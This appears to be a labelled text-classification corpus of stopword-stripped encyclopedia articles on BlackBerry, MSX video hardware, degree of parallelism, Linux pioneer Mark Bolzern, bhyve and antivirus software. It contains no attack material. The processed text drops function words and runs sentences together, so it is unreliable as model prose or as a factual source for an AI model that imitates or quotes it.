issued injunction ordering rim cease desist infringing patents—this decision would resulted closure blackberry systems us rim appealed findings court injunction remedies stayed pending outcome appeals march 2005 appeal rim ntp tried negotiate settlement dispute settlement 450 million negotiations broke due issues june 10 2005 matter returned courts early november 2005 us department justice filed brief requesting rim service allowed continue large number blackberry users us federal government january 2006 us supreme court refused hear rim appeal holding liability patent infringement matter returned lower court prior granted injunction preventing rim sales us use blackberry device might enforced presiding district court judge two parties unable reach settlement february 9 2006 us department defense dod filed brief stating injunction shutting blackberry service excluding government users unworkable dod also stated blackberry crucial national security given large number government users february 9 2006 rim announced developed software workarounds would infringe ntp patents would implement injunction enforced march 3 2006 stern warning judge spencer rim ntp announced settled dispute terms settlement rim agreed pay ntp 612.5 million usd full final settlement claims statement rim said terms agreement finalized litigation rim dismissed court order afternoon agreement eliminates need court proceedings decisions relating damages injunctive relief settlement amount believed low analysts absence future royalties technology question may 26 2017 blackberry announced reached agreement qualcomm incorporated resolving amounts payable connection interim arbitration decision announced april 12 2017 following joint stipulation parties arbitration panel issued final award providing payment qualcomm blackberry total amount u.s. 940,000,000 including interest attorneys fees net certain royalties due blackberry calendar 2016 first quarter calendar 2017 november 24 2010 research motion rim removed kik messenger blackberry app world limited functionality software users rim also sued kik interactive patent infringement misuse trademarks october 2013 companies settled lawsuit terms undisclosed 2018 reported blackberry would filing legal action facebook perceived intellectual property infringements within facebook messenger whatsapp well instagram many blackberry retail stores operate outside north america thailand indonesia united arab emirates mexico december 2007 blackberry store opened farmington hills michigan store offers blackberry device models t-mobile verizon sprint major u.s. carriers offer smartphones three prior attempts opening blackberry stores toronto london uk eventually folded also blackberry stores operated wireless giant airports atlanta boston charlotte minneapolis–st paul philadelphia houston newark several slated closing september 23 2015 blackberry opened first pop-up store frankfurt germany various stages company history suffered occasional service outages referred media embarrassing 2005 company suffered relatively short-term outage reportedly among small handful north america carriers service restored several hours 2007 e-mail service suffered outage led calls questioning integrity towards blackberry perceived centralized system 2009 company outage reportedly covering whole north america 2011-10-10 10:00 utc began multi-day outage europe middle east africa affecting millions blackberry users another outage following day october 12 2011 blackberry internet service went north america research motion attributed data overload due switch failures two data centres waterloo canada slough england cause service disruptions outage intensified calls shareholders shake-up company leadership estimates blackberry company lost 50 million 54 million due global email service failure outage 2011 bcesa blackberry certified enterprise sales associate qualification first three levels professional blackberry certification information certifications blackberry.com website blackberry technical certifications available android devices blackberry 10 devices blackberry 7 devices blackberry 6 devices blackberry 5 devices blackberry 4 devices blackberry 3 devices blackberry 2 devices blackberry 1 devices modern lte based phones blackberry z10 qualcomm snapdragon s4 plus proprietary qualcomm soc based armv7-a architecture featuring two 1.5 ghz qualcomm krait cpu cores 400 mhz adreno 225 gpu gsm-based blackberry phones incorporate arm 7 9 11 processor blackberry models torch 9850/9860 torch 9810 bold 9900/9930 1.2 ghz msm8655 snapdragon s2 soc 768 mb system memory 8 gb on-board storage entry-level models curve 9360 feature marvell pxa940 clocked 800 mhz previous blackberry devices bold 9000 equipped intel xscale 624 mhz processors bold 9700 featured newer version bold 9000 processor clocked speed curve 8520 featured 512 mhz processor blackberry 8000 series smartphones 8700 pearl based 312 mhz arm xscale armv5te pxa900 exception blackberry 8707 based 80 mhz qualcomm 3250 chipset due pxa900 chipset supporting 3g networks 80 mhz processor blackberry 8707 meant device often slower download render web pages 3g 8700 edge networks early blackberry devices blackberry 950 used intel 80386-based processors blackberry latest flagship phone blackberry z30 based 5-inch super amoled 1280×720 resolution 295 ppi 24-bit color depth powered quad-graphics qualcomm dual core 1.7 ghz msm8960t pro first blackberry android operating system released late november 2015 192 gram/6.77 ounce blackberry priv launched version 5.1.1 later upgraded version 6.0 android marshmallow first available four countries increased 31 countries february 28 2016 employing qualcomm 8992 snapdragon 808 hexa-core 64 bit adreno 418 600 mhz gpu 3gb ram processor unit equipped curved 5.4-inch 2560 x 1440 oled display sliding qwerty keyboard hidden use google voice recognition allows dictating e-mails also available priv retained best blackberry 10 features 3,410mah battery said provide 22.5 hours mixed use 18-megapixel camera schneider-kreuznach lens also record 4k video secondary selfie camera also provided several important apps unique priv available google play mid december new operating system blackberry 10 released two new blackberry models z10 q10 january 30 2013 blackberry world 2012 rim ceo thorsten heins demonstrated new features os including camera able rewind frame-by-frame separately individual faces image allow selection best different shots stitched seamlessly optimal composite intelligent predictive adapting keyboard gesture based user interface designed around idea peek flow apps available blackberry 10 devices blackberry world storefront previous operating system developed older blackberry devices blackberry os proprietary multitasking environment developed rim operating system designed use input devices track wheel track ball track pad os provides support java midp 1.0 wap 1.2 previous versions allowed wireless synchronisation microsoft exchange server email calendar well lotus domino email os 5.0 provides subset midp 2.0 allows complete wireless activation synchronisation exchange email calendar tasks notes contacts adds support novell groupwise lotus notes blackberry curve 9360 blackberry torch 9810 bold 9900/9930 curve 9310/9320 torch 9850/9860 featured 2011 blackberry os 7 apps available devices blackberry world 2013 called blackberry app world third-party developers write software using apis proprietary blackberry apis well application makes use certain restricted functionality must digitally signed associated developer account rim signing procedure guarantees authorship application guarantee quality security code rim provides tools developing applications themes blackberry applications themes loaded onto blackberry devices blackberry world air ota blackberry mobile browser blackberry desktop manager blackberry devices well android ios windows phone platforms ability use proprietary blackberry messenger also known bbm software sending receiving encrypted instant messages voice notes images videos via blackberry pin long cell phone data plan messages free charge features bbm include groups bar-code scanning lists shared calendars bbm music integration apps games using bbm social platform april 2013 blackberry announced shutting streaming music service bbm music active almost two years since launch blackberry messenger music closed june 2 2013 july 2014 blackberry revealed blackberry assistant new feature blackberry os 10.3 blackberry passport hardware feature digital personal assistant help keep organized informed productive december 2014 blackberry nanthealth healthcare-focused data provider launched secure cancer genome browser giving doctors ability access patients genetic data blackberry passport smartphone several non-blackberry mobile phones released featuring blackberry email client connects blackberry servers many phones full qwerty keyboards third-party software available use blackberry devices includes full-featured database management systems used support customer relationship management clients applications must manage large volumes potentially complex data march 2011 rim announced optional android player could play applications developed android system would available blackberry playbook rim first entry tablet market august 24 2011 bloomberg news reported unofficial rumors blackberry devices would able run android applications rim brings qnx android app player blackberry october 20 2011 rim officially announced android applications could run unmodified blackberry tablet newest blackberry phones using newest version operating system blackberry smartphones integrated organization email system software package called blackberry enterprise server bes version 5 blackberry enterprise service bes version 10 versions 6 9. versions bes available microsoft exchange lotus domino novell groupwise google apps individual users may able use wireless provider email services without install bes organizations multiple users usually run bes network blackberry devices running blackberry os 10 later also managed directly microsoft exchange server using exchange activesync eas policies way ios android device eas supports fewer management controls bes third-party companies provide hosted bes solutions every blackberry unique id called blackberry pin used identify device bes blackberry one time provided free bes software called bes express besx primary bes feature relay email corporate mailbox blackberry phone bes monitors user mailbox relaying new messages phone via blackberry network operations center noc user wireless provider feature known push email new emails contacts task entries memopad entries calendar entries pushed blackberry device immediately opposed user synchronising data manually device poll server intervals blackberry also supports polling email third-party applications messaging system built blackberry understands receive messages bes bis services handle connections user mail providers device storage also enables mobile user access data off-line areas without wireless service user reconnects wireless service bes sends latest data feature newer models blackberry ability quickly track user current location trilateration without use gps thus saving battery life time trilateration used quick less battery intensive way provide location-aware applications co-ordinates user however accuracy blackberry trilateration less gps due number factors including cell tower blockage large buildings mountains distance bes also provides phones tcp/ip connectivity accessed component called mds mobile data system connection service allows custom application development using data streams blackberry devices based sun microsystems java platform addition bes provides network security form triple des recently aes encryption data email mds traffic travels blackberry phone blackberry enterprise server providers offer flat monthly pricing via special blackberry tariffs unlimited data blackberry units bes addition receiving email organizations make intranets custom internal applications unmetered traffic recent versions blackberry platform mds longer requirement wireless data access starting os 3.8 4.0 blackberry phones access internet i.e tcp/ip access without mds – formerly email wap access possible without bes/mds bes/mds still required secure email data access applications require wap carriers allow wap access primary alternative using blackberry enterprise server use blackberry internet service bis blackberry internet service available 91 countries internationally blackberry internet service developed primarily average consumer rather business consumer service allows users access pop3 imap outlook web app via exchange activesync email accounts without connecting blackberry enterprise server bes blackberry internet service allows 10 email accounts accessed including proprietary well public email accounts gmail outlook yahoo aol blackberry internet service also supports push capabilities various blackberry applications various applications developed rim blackberry utilise push capabilities bis instant messaging clients like google talk windows live messenger yahoo messenger mms pin interactive gaming mapping trading applications require data plans like bis wi-fi use service usually provisioned mobile phone service provider though blackberry actually runs service blackberry pin personal identification number eight-character hexadecimal identification number assigned blackberry device pins changed manually device though blackberry technicians able reset update pin server-side locked specific blackberry blackberry devices message using pin directly using blackberry messenger application blackberry pins tracked blackberry enterprise servers blackberry internet service used direct messages blackberry device emails messages blackberry push service typically directed blackberry device pin message routed rim network operations center sent carrier deliver message last mile device september 2012 rim announced blackberry pin would replaced users blackberry id starting 2013 launch blackberry 10 platform primary competitors blackberry android smartphones iphone blackberry struggled compete market share plunged since 2011 leading speculation unable survive independent going concern however managed maintain significant positions markets despite market share loss global basis number active blackberry subscribers increased substantially years example fiscal period apple iphone first released rim reported subscriber base 10.5 million blackberry subscribers end 2008 android first hit market rim reported number blackberry subscribers increased 21 million finally quarter ended june 28 2012 rim announced number blackberry subscribers reached 78 million globally release apple iphone 5 september 2012 rim ceo thorsten heins announced current global subscribers 80 million sparked 7 jump shares price however since blackberry global user base meaning active accounts declined dramatically since peak 80 million june 2012 dropping 46 million users september 2014 market share globally also declined less 1 percent 2011 blackberry shipped 43 smartphones indonesia april 2014 fallen 3 decline indonesian market share mirrors global trend company 0.6 north america retail price 2,199,000 indonesian rupiah 189 failed give blackberry boost needed indonesia company launched device discounted offer first 1000 purchasers resulted stampede capital several people injured blackberry lost market share indonesia despite launch z3 may 13 2014 new device given worldwide launch city jakarta came back news research motion rim cut hardware production costs outsourcing taiwan-based foxconn group report third quarter 2015 results december 18 2015 company said approximately 700,000 handsets sold 1.9 million quarter 2014 800,000 q2 2015 average sale price per unit 240 315 however continue increase sales new android priv device selling premium price 800 canada example q3 2015 blackberry net loss 89 million u.s. 17 cents per share 15 million net loss three cents per share excluding restructuring charges one-time items revenue slightly year earlier 557 million u.s. vs. 548 million primarily software sales chief executive officer john chen said expects company software business grow 14 percent market time company ready provide sales figures android-based priv handset released weeks earlier four countries time chen offered comment analysts depending priv ... chance could achieve get closer break-even operating profitability overall device business fourth quarter due continuous reduction blackberry users february 2016 blackberry headquarter waterloo canada slashed 35 percent workforce early 2016 blackberry market share dropped 0.2 q4 2016 reports indicate blackberry sold 207,900 units—equivalent 0.0 market share number active blackberry users since 2003 globally research motion agreed give access private communications governments united arab emirates saudi arabia 2010 india 2012 saudi uae governments threatened ban certain services law enforcement agencies could decrypt messages people interest revealed part 2013 mass surveillance disclosures american british intelligence agencies national security agency nsa government communications headquarters gchq respectively access user data blackberry devices agencies able read almost smartphone information including sms location e-mails notes blackberry internet service operates outside corporate networks contrast data passing internal blackberry services bes compresses encrypt data documents stated nsa able access blackberry e-mail system could see read sms traffic brief period 2009 nsa unable access blackberry devices blackberry changed way compress data access devices re-established gchq gchq tool named scrapheap challenge capability perfect spoofing emails blackberry targets response revelations blackberry officials stated us comment media reports regarding alleged government surveillance telecommunications traffic added back door pipeline platform established exist similar access intelligence agencies mobile devices exists using similar techniques hack blackberry software includes support dual ec drbg csprng algorithm due probably backdoored nsa us national institute standards technology strongly recommends longer used blackberry ltd. however issued advisory customers consider probable backdoor vulnerability blackberry ltd. also owns us patent 2007189527 covers technical design backdoor formerly advanced encryption capabilities blackberry smartphone made eligible use government agencies state forces former united states president barack obama became known dependence blackberry device communication 2008 presidential campaign despite security issues insisted using even inauguration seen akin celebrity endorsement marketing experts estimated worth 25 million 50 million usage blackberry continued around end presidency hillary clinton email controversy associated hillary clinton continuing use blackberry assuming office secretary state example west yorkshire police allowed increase presence police officers along streets reduction public spending given officer could perform desk work directly via mobile device well several areas situations us federal government slow move away blackberry platform state department spokesperson saying 2013 blackberry devices still mobile devices approved u.s. missions abroad state department high encryption standard made blackberry smartphones playbook tablet unique since implemented devices including apple devices released iphone 4 bangalore city police one police departments india along pune police kochi police use blackberry devices united kingdom south west trains northern rail issued blackberry devices guards order improve communication control guards passengers canada toronto many municipalities within canada issued blackberry devices employees including limited transportation technical water operations inspection staff management staff order improve communication contracted construction companies winter maintenance operations assist successfully organize multimillion-dollar contracts devices standard mobile device receive e-mail redirected groupwise city e-mail environment currently set support blackberry devices part internet things endeavours company announced plans moving shipping industry adapting smartphones devices communication necessities freight containers eric schmidt executive chairman google longtime blackberry user although smartphones running google android mobile operating system compete blackberry schmidt said 2013 interview uses blackberry prefers keyboard italian criminal group known 'ndrangheta reported february 2009 communicated overseas gulf cartel mexican drug cartel use blackberry messenger since bbm texts difficult intercept
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Operating systems
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msx video access method colecovision sg-1000 creativision first-generation msx computers use tms9918a video display processor vdp 16 kib video memory shared main memory compared unified system video memory used 8-bit computers time apple ii zx spectrum commodore 64 separate memory advantage freeing z80 processor 64 kib address space main ram vdp n't need steal cpu cycles access video memory disadvantage program use cpu dedicated i/o instructions command vdp manipulate contents video ram slows video access also makes porting games unified-memory platforms difficult attempts porting zx spectrum games uk system similar msx often thwarted difference also programmers learn optimally use advanced capabilities vdp tms9918a method accessing video ram slower direct access used unified-memory computers accessing video memory involved first outputting low- hi-byte 14-bit video memory address i/o port 99 one bytes 8-bit data port 98 write memory pointer advances next address consecutive addresses written repeated instructions 98 z80 fast otir/otdr block instructions could used instead ldir/lddr still allowed vram access rate restricted unless vertical blanking however screen layout top-down character 8 lines advancing next character difficult use programmers tried convert existing software originally written system another arrangement screen layout trying use tms9918a high resolution mode video memory conventional way method indirect-access could far slower 8-bit computers unified memory like piece ram consequently machines using vdp could inefficient certain graphical tasks scrolling games entailed moving entire background memory instead able use z80 efficient fast block move instructions write elaborate routines first read bytes video memory system memory back another location video memory one byte time increase speed acceptable level programmers often limited scrolling 8-pixel steps looked primitive comparison 1 2 pixel scrolling steps available zx spectrum commodore 64 machines although commodore 64 also used 8-pixel steps fine-scroll register could compensate msx-1 tms9918a several features make shortfall example programmable character set allowed indirection greatly increase scrolling character table moved instead pixel data 32 hardware sprites sprites however limited example atari-8-bit systems highest resolution 16x16 pixels single-color transparency bigger drawback though reality scan line segments maximum 4 sprites could simultaneously displayed one picture scan line attempting place 5-th sprites scan line segment scan line four others would result flickering missing scan line segments still care multiple multi-color sprites could created way many japanese games prove zx spectrum sprites porting games often much trouble re-write game structure take advantage sprites often simply ignored porting games tricks available circumvent scrolling speed related problems using clever programming techniques video chip capabilities available zx spectrum using undocumented text mode supported multiple colors addition using built re-programmable fonts possible combine high resolution graphics faster scrolling also able use sprites method widely used japanese programmers writing native software rarely british programmers porting spectrum software video problems described especially sprite limits scrolling fixed newer msx-2 video chips however time 16 bit systems like amiga atari st started dominate market
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Computer architecture
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degree parallelism degree parallelism dop metric indicates many operations simultaneously executed computer especially useful describing performance parallel programs multi-processor systems program running parallel computer may utilize different numbers processors different times time period number processors used execute program defined degree parallelism plot dop function time given program called parallelism profile
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Computer architecture
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mark bolzern mark bolzern one original pioneers internet linux computer operating system bolzern founder early linux-specific community portals linuxnews linuxmall linuxpro linuxguru penguinpower bolzern also creator original plush tux mascot based original drawing larry ewing work linuxmall allowed bolzern directly affect linux community linuxmall support various linux events achievements play significant role story book rebel code author glyn moody bolzern graduated 1976 west anchorage high school among things first worked monroe 1880 programmed via graphite marked cards octal started fascination computers later bolzern attended uaa university alaska anchorage studies late 1970s helped test early statewide multi-campus e-mail system short year cal poly pomona california polytechnic state university transferred uaf university alaska fairbanks studied electrical engineering also played data general nova computer system used development alohanet low level error correcting packet protocols csma/cd pioneered fundamental underlying protocols tcp/ip ethernet wifi internet denied access administrators bolzern cracked university alaska statewide computer network 1978 something n't think possible standard user used central honeywell 66 fairbanks send emails system users inviting use software participate apple ii user group via early shared account created set group communication via mailx mail extended enhanced version standard unix command mail extended features bolzern able use create one first bulletin board systems bbs history apple access terminal emulation etc performed free via software called uacncap written distributed bolzern associate made apple ii original model hayes 300 baud modem remote terminal gcos system later ibm pc version called pc communicator bolzern pc-talk released well gcos early variant unix field linux user full name goes called gcos field bolzern also used software continue accessing system third-floor lathrop hall dorm room via wires one phone entire floor hall also anywhere else happened apple ii hayes modem well communicate family back home via email continued graduation 1981 bachelor science electrical engineering bolzern created uaf soon became used university teachers students years thereafter uaf bolzern worked motorola installer radio technician graduation took job ibm scoring second highest anyone else hired year qualification exams ibm quickly learned repair office equipment ibm time influential recognizing value desktop pc ultimately ibm management support resigned ibm moved sales new machines computerland sold first 50 pcs delivered within state alaska general computer services inc. gcs founded 1981 incorporated september 17 1982 bolzern ’ consulting company anything everything pc-related created commercial job cost estimating software created early isp internet service provider state alaska time founded anchorage pc compatibles user group later became alaska computer society also “ computer talk ” world ’ first far know radio talk show computers moving aurora colorado bolzern worked advised colorado department education built statewide legislation notification system helped get computers public school system uswest unix informix sql database systems accounting information management also travelled speaker many topics related computers early 90 ’ linux born bolzern soon became one outspoken advocates development adoption wgs work group solutions founded aurora colorado june 23 1993 originally subsidiary gcs big/main achievement introducing first commercially-sold software linux flagship clipper compiler unix shortly thereafter linuxpro linuxpro one better known distributions distros early years linux even winning best comdex award 1995 presented noted science fiction writer jerry pournelle wgs shortly thereafter received letter stating company sued using word linux mental patient trademarked linus torvalds said wanted word linux freely available anyone unfortunately could achieved non-profit group administer phil hughes linux journal john maddog hall digital equipment corp bolzern among others assembled group fight lawsuit eventually settled outright giving trademark directly linus torvalds agreement li linux international would manage john maddog hall bolzern made sure trademark put linus name agreement made linux international li perpetual administrator linux international since morphed linux foundation late 1995 bolzern founded colorado linux users enthusiasts clue bringing local high school students aurora co businesses interested linux together others used linux presented many topics activities included linux install fests allowing new users learn linux various distros available along power open source programs specifically linux may june 1998 articles bolzern wrote published regarding linux base system project commenting growth linux community wgs transitioned linuxmall 1996 2000 firm 60 employees based aurora colorado largest online shopping center software products linux computer operating system expected initial public offering stock market downturn led instead reverse acquisition bought 25 million ebiz enterprises already-publicly listed firm change name linuxmall.com transaction april march 2000 several articles published microsoft relation linux several penned bolzern addition penguinpower name many collectables designed bolzern manufactured linuxmall tux pin worn peter h. salus unfortunately growth linuxmall cut short early 2000s bursting tech bubble non-delivery 10 million dollar check vcs said already mail subsequent merger activities bolzern semi-retired travel take care wife virginia stricken cancer february 2012 mark bolzern serves chief technical officer northern utility services llc anchorage alaska originally grew autobiographical page also details regarding mark professional achievements bolzern ’ involvement ultimately became linux foundation significant work includes li bolzern initially structured vendor organization responsible lsb linux standard base lpi linux professional institute professional linux certification linux trademark administration among things born zurich switzerland bolzern family father mother mark arrived spain via ship along vw bus immigrating via ellis island permanently closed bolzern family arrived alaska via florida texas california brother ronald born waiting alaska highway open arrived anchorage 1962 prior famous 1964 earthquake naturalized u.s. citizen along parents june 17 1966 bolzern spent several years limelight traveling caring wife virginia dealing breast cancer death march 8 2007 time involved encouragement ministry called bbtj
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Operating systems
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bhyve bhyve pronounced bee hive formerly written bhyve type-2 hypervisor written freebsd ported number illumos based distributions including smartos omnios bhyve runs freebsd 9+ openbsd netbsd linux illumos windows nt windows vista later windows server 2008 later guests current development efforts aim widening support operating systems x86-64 architecture
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Operating systems
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antivirus software antivirus software anti-virus software abbreviated av software also known anti-malware computer program used prevent detect remove malware antivirus software originally developed detect remove computer viruses hence name however proliferation kinds malware antivirus software started provide protection computer threats particular modern antivirus software protect users malicious browser helper objects bhos browser hijackers ransomware keyloggers backdoors rootkits trojan horses worms malicious lsps dialers fraudtools adware spyware products also include protection computer threats infected malicious urls spam scam phishing attacks online identity privacy online banking attacks social engineering techniques advanced persistent threat apt botnet ddos attacks although roots computer virus date back early 1949 hungarian scientist john von neumann published theory self-reproducing automata first known computer virus appeared 1971 dubbed creeper virus computer virus infected digital equipment corporation dec pdp-10 mainframe computers running tenex operating system creeper virus eventually deleted program created ray tomlinson known reaper people consider reaper first antivirus software ever written – may case important note reaper actually virus specifically designed remove creeper virus creeper virus followed several viruses first known appeared wild elk cloner 1981 infected apple ii computers 1983 term computer virus coined fred cohen one first ever published academic papers computer viruses cohen used term computer virus describe program affect computer programs modifying way include possibly evolved copy note recent precise definition computer virus given hungarian security researcher péter szőr code recursively replicates possibly evolved copy first ibm pc compatible wild computer virus one first real widespread infections brain 1986 number viruses grown exponentially computer viruses written early mid-1980s limited self-reproduction specific damage routine built code changed programmers became acquainted computer virus programming created viruses manipulated even destroyed data infected computers internet connectivity widespread computer viruses typically spread infected floppy disks antivirus software came use updated relatively infrequently time virus checkers essentially check executable files boot sectors floppy disks hard disks however internet usage became common viruses began spread online competing claims innovator first antivirus product possibly first publicly documented removal wild computer virus i.e vienna virus performed bernd fix 1987 1987 andreas lüning kai figge founded g data software 1985 released first antivirus product atari st platform 1987 ultimate virus killer uvk also released de facto industry standard virus killer atari st atari falcon last version version 9.0 released april 2004 1987 united states john mcafee founded mcafee company part intel security end year released first version virusscan also 1987 czechoslovakia peter paško rudolf hrubý miroslav trnka created first version nod antivirus 1987 fred cohen wrote algorithm perfectly detect possible computer viruses finally end 1987 first two heuristic antivirus utilities released flushot plus ross greenberg anti4us erwin lanting o'reilly book malicious mobile code virus protection windows roger grimes described flushot plus first holistic program fight malicious mobile code mmc however kind heuristic used early av engines totally different used today first product heuristic engine resembling modern ones f-prot 1991 early heuristic engines based dividing binary different sections data section code section legitimate binary usually starts always location indeed initial viruses re-organized layout sections overrode initial portion section order jump end file malicious code located—only going back resume execution original code specific pattern used time legitimate software represented elegant heuristic catch suspicious code kinds advanced heuristics later added suspicious section names incorrect header size regular expressions partial pattern in-memory matching 1988 growth antivirus companies continued germany tjark auerbach founded avira h+bedv time released first version antivir named luke filewalker time bulgaria vesselin bontchev released first freeware antivirus program later joined frisk software also frans veldman released first version thunderbyte antivirus also known tbav sold company norman safeground 1998 czechoslovakia pavel baudiš eduard kučera started avast time alwil software released first version avast antivirus june 1988 south korea ahn cheol-soo released first antivirus software called v1 founded ahnlab later 1995 finally autumn 1988 united kingdom alan solomon founded international created dr. solomon anti-virus toolkit although launched commercially 1991 – 1998 solomon ’ company acquired mcafee november 1988 professor panamerican university mexico city named alejandro e. carriles copyrighted first antivirus software mexico name byte matabichos byte bugkiller help solve rampant virus infestation among students also 1988 mailing list named virus-l started bitnet/earn network new viruses possibilities detecting eliminating viruses discussed members mailing list alan solomon eugene kaspersky kaspersky lab friðrik skúlason frisk software john mcafee mcafee luis corrons panda security mikko hyppönen f-secure péter szőr tjark auerbach avira vesselin bontchev frisk software 1989 iceland friðrik skúlason created first version f-prot anti-virus back 1989 founded frisk software 1993 meanwhile united states symantec founded gary hendrix 1982 launched first symantec antivirus macintosh sam sam 2.0 released march 1990 incorporated technology allowing users easily update sam intercept eliminate new viruses including many n't exist time program release end 1980s united kingdom jan hruska peter lammer founded security firm sophos began producing first antivirus encryption products period hungary also virusbuster founded recently incorporated sophos 1990 spain mikel urizarbarrena founded panda security panda software time hungary security researcher péter szőr released first version pasteur antivirus italy gianfranco tonello created first version virit explorer antivirus founded tg soft one year later 1990 computer antivirus research organization caro founded 1991 caro released virus naming scheme originally written friðrik skúlason vesselin bontchev although naming scheme outdated remains existing standard computer security companies researchers ever attempted adopt caro members includes alan solomon costin raiu dmitry gryaznov eugene kaspersky friðrik skúlason igor muttik mikko hyppönen morton swimmer nick fitzgerald padgett peterson peter ferrie righard zwienenberg vesselin bontchev 1991 united states symantec released first version norton antivirus year czech republic jan gritzbach tomáš hofer founded avg technologies grisoft time although released first version anti-virus guard avg 1992 hand finland f-secure founded 1988 petri allas risto siilasmaa – name data fellows released first version antivirus product f-secure claims first antivirus firm establish presence world wide web 1991 european institute computer antivirus research eicar founded antivirus research improve development antivirus software 1992 russia igor danilov released first version spiderweb later became dr web 1994 av-test reported 28,613 unique malware samples based md5 database time companies founded 1996 romania bitdefender founded released first version anti-virus expert avx 1997 russia eugene kaspersky natalya kaspersky co-founded security firm kaspersky lab 1996 also first wild linux virus known staog 1999 av-test reported 98,428 unique malware samples based md5 database 2000 rainer link howard fuhs started first open source antivirus engine called openantivirus project 2001 tomasz kojm released first version clamav first ever open source antivirus engine commercialised 2007 clamav bought sourcefire turn acquired cisco systems 2013 2002 united kingdom morten lund theis søndergaard co-founded antivirus firm bullguard 2005 av-test reported 333,425 unique malware samples based md5 database 2007 av-test reported number 5,490,960 new unique malware samples based md5 year 2012 2013 antivirus firms reported new malware samples range 300,000 500,000 per day years become necessary antivirus software use several different strategies e.g specific email network protection low level modules detection algorithms well check increasing variety files rather executables several reasons 2005 f-secure first security firm developed anti-rootkit technology called blacklight users usually connected internet continual basis jon oberheide first proposed cloud-based antivirus design 2008 february 2008 mcafee labs added industry-first cloud-based anti-malware functionality virusscan artemis name tested av-comparatives february 2008 officially unveiled august 2008 mcafee virusscan cloud av created problems comparative testing security software – part av definitions testers control constantly updated av company servers thus making results non-repeatable result anti-malware testing standards organisation amtso started working method testing cloud products adopted may 7 2009 2011 avg introduced similar cloud service called protective cloud technology following 2013 release apt 1 report mandiant industry seen shift towards signature-less approaches problem capable detecting mitigating zero-day attacks numerous approaches address new forms threats appeared including behavioral detection artificial intelligence machine learning cloud-based file detonation according gartner expected rise new entrants carbon black cylance crowdstrike force epp incumbents new phase innovation acquisition one method bromium involves micro-virtualization protect desktops malicious code execution initiated end user another approach sentinelone carbon black focuses behavioral detection building full context around every process execution path real time cylance leverages artificial intelligence model based machine learning increasingly signature-less approaches defined media analyst firms next-generation antivirus seeing rapid market adoption certified antivirus replacement technologies firms coalfire directdefense response traditional antivirus vendors trend micro symantec sophos responded incorporating next-gen offerings portfolios analyst firms forrester gartner called traditional signature-based antivirus ineffective outdated one solid theoretical results study computer viruses frederick b. cohen 1987 demonstration algorithm perfectly detect possible viruses however using different layers defense good detection rate may achieved several methods antivirus engine use identify malware traditional antivirus software relies heavily upon signatures identify malware substantially malware arrives hands antivirus firm analysed malware researchers dynamic analysis systems determined malware proper signature file extracted added signatures database antivirus software although signature-based approach effectively contain malware outbreaks malware authors tried stay step ahead software writing oligomorphic polymorphic recently metamorphic viruses encrypt parts otherwise modify method disguise match virus signatures dictionary many viruses start single infection either mutation refinements attackers grow dozens slightly different strains called variants generic detection refers detection removal multiple threats using single virus definition example vundo trojan several family members depending antivirus vendor classification symantec classifies members vundo family two distinct categories trojan.vundo trojan.vundo.b may advantageous identify specific virus quicker detect virus family generic signature inexact match existing signature virus researchers find common areas viruses family share uniquely thus create single generic signature signatures often contain non-contiguous code using wildcard characters differences lie wildcards allow scanner detect viruses even padded extra meaningless code detection uses method said heuristic detection anti-virus software attempt scan rootkits rootkit type malware designed gain administrative-level control computer system without detected rootkits change operating system functions cases tamper anti-virus program render ineffective rootkits also difficult remove cases requiring complete re-installation operating system real-time protection on-access scanning background guard resident shield autoprotect synonyms refer automatic protection provided antivirus anti-spyware anti-malware programs monitors computer systems suspicious activity computer viruses spyware adware malicious objects 'real-time words data loaded computer active memory inserting cd opening email browsing web file already computer opened executed commercial antivirus software end-user license agreements include clause subscription automatically renewed purchaser credit card automatically billed renewal time without explicit approval example mcafee requires users unsubscribe least 60 days expiration present subscription bitdefender sends notifications unsubscribe 30 days renewal norton antivirus also renews subscriptions automatically default apparent antivirus programs actually malware masquerading legitimate software winfixer ms antivirus mac defender false positive false alarm antivirus software identifies non-malicious file malware happens cause serious problems example antivirus program configured immediately delete quarantine infected files common microsoft windows antivirus applications false positive essential file render windows operating system applications unusable recovering damage critical software infrastructure incurs technical support costs businesses forced close whilst remedial action undertaken examples serious false-positives running real-time protection multiple antivirus programs concurrently degrade performance create conflicts however using concept called multiscanning several companies including g data software microsoft created applications run multiple engines concurrently sometimes necessary temporarily disable virus protection installing major updates windows service packs updating graphics card drivers active antivirus protection may partially completely prevent installation major update anti-virus software cause problems installation operating system upgrade e.g upgrading newer version windows place — without erasing previous version windows microsoft recommends anti-virus software disabled avoid conflicts upgrade installation process active anti-virus software also interfere firmware update process functionality computer programs hampered active anti-virus software example truecrypt disk encryption program states troubleshooting page anti-virus programs conflict truecrypt cause malfunction operate slowly anti-virus software impair performance stability games running steam platform support issues also exist around antivirus application interoperability common solutions like ssl vpn remote access network access control products technology solutions often policy assessment applications require up-to-date antivirus installed running antivirus application recognized policy assessment whether antivirus application updated part policy assessment library user unable connect studies december 2007 showed effectiveness antivirus software decreased previous year particularly unknown zero day attacks computer magazine c't found detection rates threats dropped 40–50 2006 20–30 2007 time exception nod32 antivirus managed detection rate 68 according zeus tracker website average detection rate variants well-known zeus trojan low 40 problem magnified changing intent virus authors years ago obvious virus infection present viruses day written amateurs exhibited destructive behavior pop-ups modern viruses often written professionals financed criminal organizations 2008 eva chen ceo trend micro stated anti-virus industry over-hyped effective products — misleading customers — years independent testing major virus scanners consistently shows none provide 100 virus detection best ones provided high 99.9 detection simulated real-world situations lowest provided 91.1 tests conducted august 2013 many virus scanners produce false positive results well identifying benign files malware although methods may differ notable independent quality testing agencies include av-comparatives icsa labs west coast labs virus bulletin av-test members anti-malware testing standards organization anti-virus programs always effective new viruses even use non-signature-based methods detect new viruses reason virus designers test new viruses major anti-virus applications make sure detected releasing wild new viruses particularly ransomware use polymorphic code avoid detection virus scanners jerome segura security analyst paretologic explained proof concept virus used graphics processing unit gpu avoid detection anti-virus software potential success involves bypassing cpu order make much harder security researchers analyse inner workings malware detecting rootkits major challenge anti-virus programs rootkits full administrative access computer invisible users hidden list running processes task manager rootkits modify inner workings operating system tamper antivirus programs file infected computer virus anti-virus software attempt remove virus code file disinfection always able restore file undamaged state circumstances damaged files restored existing backups shadow copies also true ransomware installed software damaged requires re-installation however see system file checker writeable firmware computer infected malicious code major concern infected bios could require actual bios chip replaced ensure malicious code completely removed anti-virus software effective protecting firmware motherboard bios infection 2014 security researchers discovered usb devices contain writeable firmware modified malicious code dubbed badusb anti-virus software detect prevent malicious code run undetected computer could even infect operating system prior booting antivirus software drawbacks first impact computer performance furthermore inexperienced users lulled false sense security using computer considering invulnerable may problems 